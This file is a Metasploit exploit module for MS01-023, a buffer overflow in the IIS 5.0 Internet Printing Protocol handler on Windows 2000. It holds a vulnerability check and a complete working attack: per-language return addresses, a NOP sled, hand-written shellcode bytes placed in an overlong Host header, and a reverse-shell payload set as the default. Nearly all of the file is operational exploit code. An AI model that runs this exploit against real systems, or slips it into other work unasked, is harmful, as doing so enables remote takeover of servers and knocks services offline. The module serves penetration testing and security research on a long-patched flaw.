##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
        'Description' => %q{
          This exploits a buffer overflow in the request processor of the
          Internet Printing Protocol ISAPI module in IIS. This module
          works against Windows 2000 Server and Professional SP0-SP1.

          If the service stops responding after a successful compromise,
          run the exploit a couple more times to completely kill the
          hung process.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2001-0241'],
          [ 'OSVDB', '3323'],
          [ 'BID', '2674'],
          [ 'MSB', 'MS01-023'],
          [ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 900,
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          # jmp esp @ compfilt.dll
          [ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
          [ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
          [ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
          [ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
          [ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
          [ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
          [ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
          [ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
          # [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
          [ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
          [ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
          [ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
          [ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
          [ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
          [ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
          [ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],

          # jmp esp @ ws2_32.dll
          [ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
          [ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
        ],
        'Arch' => [ARCH_X86],
        'Platform' => 'win',
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultTarget' => 4,
        'DisclosureDate' => '2001-05-01'
      )
    )

    register_options([
      Opt::RPORT(80)
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => '/NULL.printer',
      'version' => '1.0'
    })

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe unless res.code == 500
    # Error response is language dependent: "<b>Error in web printer install.</b>"
    return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')

    res = send_request_cgi({
      'uri' => '/NULL.printer',
      'vhost' => rand_text_alpha(257),
      'version' => '1.0'
    })

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
    return CheckCode::Safe unless res.code == 500
    return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')

    CheckCode::Appears
  end

  def exploit
    print_status("Using target: #{target.name} ...")

    buf = make_nops(268)
    buf << [target.ret].pack('V')
    buf << make_nops(8)

    # payload is at: [ebx + 96] + 256 + 64
    buf << "\x8b\x4b\x60"  # mov ecx, [ebx + 96]
    buf << "\x80\xc1\x40"  # add cl, 64
    buf << "\x80\xc5\x01"  # add ch, 1
    buf << "\xff\xe1"      # jmp ecx

    res = send_request_cgi({
      'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
      'version' => '1.0'
    }, 5)

    # It is expected that we receive no reply. A reply indicates exploit failure.
    fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
  end
end
